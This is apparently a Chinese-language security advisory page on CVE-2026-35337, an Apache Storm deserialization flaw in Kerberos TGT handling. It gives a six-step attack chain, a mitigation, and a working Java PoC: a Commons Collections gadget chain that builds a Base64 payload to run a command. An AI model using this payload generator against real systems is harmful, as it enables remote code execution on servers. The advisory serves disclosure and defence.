IPBUF安全漏洞报告
English
CVE-2026-35337 CVSS 8.8 高危

CVE-2026-35337 Apache Storm反序列化漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-35337
漏洞类型
反序列化漏洞
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Storm

相关标签

RCE反序列化Apache StormJavaThrift API

漏洞概述

Apache Storm存在反序列化漏洞,影响版本为2.8.6之前。该漏洞源于Nimbus Thrift API在处理拓扑凭据时,未对Base64编码的TGT blob进行安全过滤便直接进行反序列化。拥有拓扑提交权限的攻击者可利用此漏洞提交恶意构造的序列化对象,导致Nimbus和Worker JVM遭受远程代码执行攻击。鉴于CVSS评分高达8.8,该漏洞对系统安全性构成严重威胁,建议立即采取修复措施。

技术细节

漏洞位于Apache Storm处理Kerberos票据的流程中。具体而言,当客户端通过Nimbus Thrift API提交拓扑时,会传递包含TGT的凭据。服务端在`ClientAuthUtils.deserializeKerberosTicket`方法中,使用`ObjectInputStream.readObject()`直接对Base64解码后的数据进行反序列化。由于未设置`ObjectInputFilter`白名单机制,攻击者可利用Java反序列化Gadget链(如Commons Collections或CB链)构造恶意对象。当服务端反序列化该对象时,会自动触发恶意代码执行,从而使攻击者获得Nimbus及Worker节点的系统控制权。利用条件要求攻击者具备合法身份及拓扑提交权限。

攻击链分析

STEP 1
步骤1
攻击者获取Apache Storm的合法用户凭据及拓扑提交权限。
STEP 2
步骤2
攻击者构造Java反序列化利用链(Gadget Chain),生成恶意的序列化对象。
STEP 3
步骤3
攻击者将恶意对象进行Base64编码,准备作为TGT凭据数据。
STEP 4
步骤4
攻击者调用Nimbus Thrift API提交拓扑,将Base64编码的恶意载荷填入“TGT”字段。
STEP 5
步骤5
Apache Storm服务端接收请求,使用ObjectInputStream对TGT数据进行反序列化。
STEP 6
步骤6
反序列化触发Gadget链,导致恶意代码在Nimbus和Worker JVM中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import java.io.*; import java.util.*; import java.lang.reflect.*; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.*; import org.apache.commons.collections.keyvalue.*; import org.apache.commons.collections.comparators.*; public class CVE_2026_35337_PoC { public static void main(String[] args) throws Exception { // Generate malicious payload using Commons Collections Gadget Chain String command = "touch /tmp/poc"; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object instance = constructor.newInstance(Retention.class, outerMap); // Serialize the object to Base64 ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(instance); oos.flush(); String base64Payload = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println("Generated Base64 Payload for TGT field:"); System.out.println(base64Payload); } }

影响范围

Apache Storm < 2.8.6

防御指南

临时缓解措施
对于无法立即升级的用户,建议通过Monkey-patch方式在`ClientAuthUtils.deserializeKerberosTicket()`方法中应用ObjectInputFilter白名单,严格限制反序列化的类仅限于`javax.security.auth.kerberos.KerberosTicket`及其已知依赖,防止加载恶意类。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表